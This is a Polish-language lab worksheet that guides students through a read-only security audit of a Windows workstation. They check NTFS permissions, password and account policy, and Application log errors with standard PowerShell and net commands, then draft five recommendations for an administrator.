Scenariusz

Przygotowujesz stację do audytu zewnętrznego. Audytor zapyta o trzy rzeczy: kto ma dostęp do danych (uprawnienia), czy hasła są wymuszane (polityka) oraz czy stacja zgłasza niepokojące błędy (zdarzenia). Twoim zadaniem jest zebrać dowody wyłącznie do odczytu - audyt nie zmienia systemu, tylko go opisuje i ocenia.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz PowerShell jako zwykły użytkownik (nie uruchamiaj jako administrator). Ustal kontekst:

   whoami
   hostname

   Zanotuj nazwę konta i stacji do nagłówka raportu.
2. Sprawdź uprawnienia NTFS do folderu roboczego:

   New-Item -ItemType Directory -Force audyt_demo | Out-Null
   Get-Acl audyt_demo | Select-Object -ExpandProperty Access | Select-Object IdentityReference, FileSystemRights, AccessControlType
   icacls audyt_demo

   Zanotuj, czy oprócz Ciebie dostęp mają grupy typu Wszyscy (Everyone) lub Użytkownicy - to obserwacja do zaleceń, niczego nie zmieniaj.
3. Odczytaj politykę haseł i kont (dane do odczytu, bez uprawnień administratora):

   net accounts
   net user $env:USERNAME | Select-String -Pattern 'Password|Hasło|Account active|Konto aktywne|Last logon|Ostatnie logowanie'

   Zanotuj: minimalną długość, maksymalny i minimalny wiek hasła, próg blokady oraz wygaśnięcie konta.
4. Przejrzyj 10 najnowszych błędów dziennika aplikacji (dziennik System i Security wymaga podwyższonych uprawnień, więc audytujesz dostępny dziennik Application):

   Get-WinEvent -LogName Application -Level 2 -MaxEvents 10 -ErrorAction SilentlyContinue | Select-Object TimeCreated, ProviderName, Id, Message | Format-List

   Zanotuj, czy błędy się powtarzają (jeden Id wielokrotnie) i o której godzinie.
5. Zestaw tabelę 5 zaleceń: (1) zawężenie uprawnień NTFS do właściciela, (2) minimalna długość hasła co najmniej 12 znaków, (3) blokada po 5 błędach, (4) wyjaśnienie powtarzającego się błędu z kroku 4, (5) termin następnego przeglądu. Żadnego zalecenia nie wdrażaj - audyt kończy się raportem.
6. Wykonaj zrzut ekranu: uprawnienia (Get-Acl/icacls), polityka (net accounts) oraz lista błędów.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Audyt do odczytu wystarcza do wykrycia nadmiarowych uprawnień, słabej polityki haseł i chorych usług - bez ryzyka zmiany systemu i bez uprawnień administratora.
• Zasada najmniejszych uprawnień weryfikuje się na liście dostępu: każdy wpis ponad właściciela i administratorów wymaga uzasadnienia biznesowego.
• Osiągnięcie: zebrane dowody (uprawnienia, polityka, zdarzenia) i 5 ponumerowanych zaleceń w formie gotowej do przekazania administratorowi.